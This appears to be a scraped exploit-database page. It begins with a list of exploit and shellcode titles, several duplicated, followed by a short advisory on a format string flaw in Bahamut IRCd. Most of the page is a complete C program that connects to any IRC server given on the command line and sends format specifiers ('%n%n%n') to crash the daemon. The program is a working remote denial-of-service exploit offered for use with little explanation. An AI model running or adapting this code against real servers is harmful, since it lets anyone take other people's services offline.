
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
98 lines
No EOL
3.6 KiB
C
98 lines
No EOL
3.6 KiB
C
// source: https://www.securityfocus.com/bid/8038/info
|
|
|
|
Behamut IRCd has been reported prone to remotely exploitable format string vulnerability.
|
|
|
|
The issue presents itself when Behamut is compiled with DEBUGMODE defined. Reportedly a remote attacker may send malicious format specifiers to trigger an error. By passing specially crafted format specifiers through the IRC session, a remote attacker could potentially corrupt process memory and may have the ability to execute arbitrary code with the privileges of the affected daemon.
|
|
|
|
It should be noted that IRC daemons that are derived from the Behamut source have also been reported vulnerable.
|
|
|
|
/*
|
|
* Irc crash for bahamut servers based on http://www.securityfocus.com/archive/1/326917/2003-06-24/2003-06-30/0
|
|
* Bahamut IRCd <= 1.4.35
|
|
* - Dinos nagash@compulink.gr 27/06/03
|
|
*/
|
|
|
|
#include <stdio.h> /* for printf() */
|
|
#include <sys/socket.h> /* for socket(), connect(), send() and recv() */
|
|
#include <arpa/inet.h> /* for sockaddr_in inet_addr() */
|
|
#include <stdlib.h> /* for atoi() */
|
|
#include <unistd.h> /* for close() */
|
|
#include <fcntl.h> /* for fcntl() */
|
|
#include <sys/file.h> /* for O_NONBLOCK and FASYNC */
|
|
#include <sys/time.h> /* for timeval */
|
|
#include <errno.h> /* for errno and EINPROGRESS */
|
|
#include <netdb.h> /* for gethostbyname */
|
|
|
|
unsigned long resolv_name(char name[])
|
|
{
|
|
struct hostent *host; /* structure containing host information */
|
|
|
|
if ( (host = gethostbyname(name)) == NULL )
|
|
{
|
|
printf("gethostbyname() failed\n");
|
|
exit(1);
|
|
}
|
|
/* returing the binary, network-byte-ordered address */
|
|
return *( (unsigned long *) host->h_addr_list[0] );
|
|
}
|
|
|
|
|
|
int main (int argc, char *argv[])
|
|
{
|
|
int sock; /* socket descriptor */
|
|
int retval; /* return value from connect() */
|
|
struct sockaddr_in ServAddr; /* socks's server address */
|
|
char *servIP; /* server IP address */
|
|
char *socksbuf; /* send buffer */
|
|
unsigned short ServPort; /* socks server port */
|
|
struct timeval tv; /* timeout values */
|
|
unsigned int len; /* message length */
|
|
fd_set sockSet; /* set of socket description */
|
|
unsigned long theip; /* the ip */
|
|
fd_set setit; /* fd settings for select() */
|
|
int i;
|
|
|
|
if ( argc < 2 )
|
|
{
|
|
printf("Irc Crash \n");
|
|
printf("Usage:");
|
|
printf("./ircc <irc-server> <port>\n");
|
|
exit(1);
|
|
}
|
|
|
|
servIP = argv[1];
|
|
ServPort = atoi(argv[2]);
|
|
|
|
if ( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0 )
|
|
return -1; /* There is no socket for us :( */
|
|
|
|
memset(&ServAddr, 0, sizeof(ServAddr));
|
|
ServAddr.sin_family = AF_INET;
|
|
ServAddr.sin_addr.s_addr = resolv_name(servIP); /* irc-server ip */
|
|
ServAddr.sin_port = htons(ServPort); /* port */
|
|
|
|
|
|
if ( connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) == 0 ) {
|
|
printf("Connected...\n");
|
|
}
|
|
else {
|
|
printf("Error connecting to the ircserver\n");
|
|
close(sock);
|
|
exit(1);
|
|
}
|
|
sleep(1); /* just sleep */
|
|
memset(&socksbuf, 0, sizeof(socksbuf));
|
|
socksbuf = "%n%n%n";
|
|
printf("Sending buffer %s\n",socksbuf);
|
|
i = send(sock, socksbuf, 7, 0);
|
|
if (i <0) {
|
|
printf ("Error sending buffer\n");
|
|
close(sock);
|
|
return -1;
|
|
}
|
|
|
|
printf("Buffer send\n");
|
|
|
|
close(sock);
|
|
return 0;
|
|
} |